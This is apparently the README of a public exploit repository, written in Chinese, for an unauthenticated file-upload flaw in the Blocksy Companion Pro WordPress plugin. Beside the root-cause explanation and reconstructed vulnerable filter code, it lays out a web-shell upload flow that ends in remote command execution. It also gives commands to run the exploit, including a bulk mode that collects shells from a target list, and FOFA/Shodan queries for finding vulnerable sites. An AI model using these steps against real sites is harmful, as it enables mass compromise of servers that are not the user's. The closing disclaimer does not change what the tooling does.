CVE-2026-58480(也被跟踪为 CVE-2026-15158)是 Blocksy Companion Pro < 2.1.47 中的一个严重(CVSS 9.8)未认证任意文件上传漏洞——该插件是 Blocksy WordPress 主题的高级扩展(拥有超过 30 万活跃安装)。
Advanced Reviews 功能(属于 WooCommerce Extra)中的 save_attachments AJAX 处理器无需认证即可接受文件上传。Custom Fonts 扩展通过 strpos() 子字符串检查(针对 .woff2 / .ttf)来验证上传文件——而不是检查实际的文件扩展名。攻击者可以使用 shell.woff2.php 等双扩展名文件名绕过此检查:.woff2 匹配子字符串检查,而 .php 在服务器上执行。
| 版本 | 状态 |
|---|---|
| < 2.1.47 | 存在漏洞 |
| 2.1.47+ | 已修复 |
要求: 需拥有已激活 WooCommerce Extra(Advanced Reviews)与 Custom Fonts 扩展的高级许可证。免费的
blocksy-companion插件不包含易受攻击的代码路径。
Custom Fonts 扩展注册了一个 wp_check_filetype_and_ext 过滤器,该过滤器使用 strpos()(子字符串匹配)来验证文件名,而不是通过 PATHINFO_EXTENSION 检查实际的文件扩展名:
// framework/premium/extensions/custom-fonts/extension.php#L137 (reconstructed)
add_filter('wp_check_filetype_and_ext', function($data, $file, $filename, $mimes, $real_mime) {
if (strpos($filename, '.woff2') !== false ||
strpos($filename, '.ttf') !== false) {
$data['ext'] = 'woff2';
$data['type'] = 'font/woff2';
}
return $data;
}, 10, 5);
Advanced Reviews 中的 save_attachments 函数会调用标准的 WordPress 上传处理,从而触发此过滤器。名为 shell.woff2.php 的文件之所以能通过,是因为 .woff2 作为子字符串存在——该过滤器并未验证它是最终扩展名。
POST /wp-admin/admin-ajax.php
action=blc_save_review_attachments
blc-review-images[] = shell.woff2.php (multipart, PHP payload)
→ wp_check_filetype_and_ext filter: ".woff2" found → approved
→ File saved to wp-content/uploads/YYYY/MM/shell.woff2.php
→ GET /wp-content/uploads/YYYY/MM/shell.woff2.php?cmd=id
→ RCE as www-data
| 文件(Trac) | 行 | 用途 |
|---|---|---|
framework/premium/extensions/custom-fonts/extension.php | 137 | strpos() 验证过滤器 |
framework/premium/extensions/woocommerce-extra/features/advanced-reviews/feature.php | 811 | save_attachments 处理器 |
git clone https://github.com/shinthink/CVE-2026-58480.git
cd CVE-2026-58480
pip install requests
# Fingerprint target
python exploit.py -u https://target.com --check
# Full exploit
python exploit.py -u https://target.com
# Bulk scan
python exploit.py -f targets.txt -o shells.txt
FOFA: body="/wp-content/themes/blocksy/"
Shodan: http.html:"blocksy-companion"
blc-review-images[]wp_check_filetype_and_ext 过滤器此漏洞利用程序仅供教育和授权的安全研究使用。未经所有者明确许可,请勿对系统使用。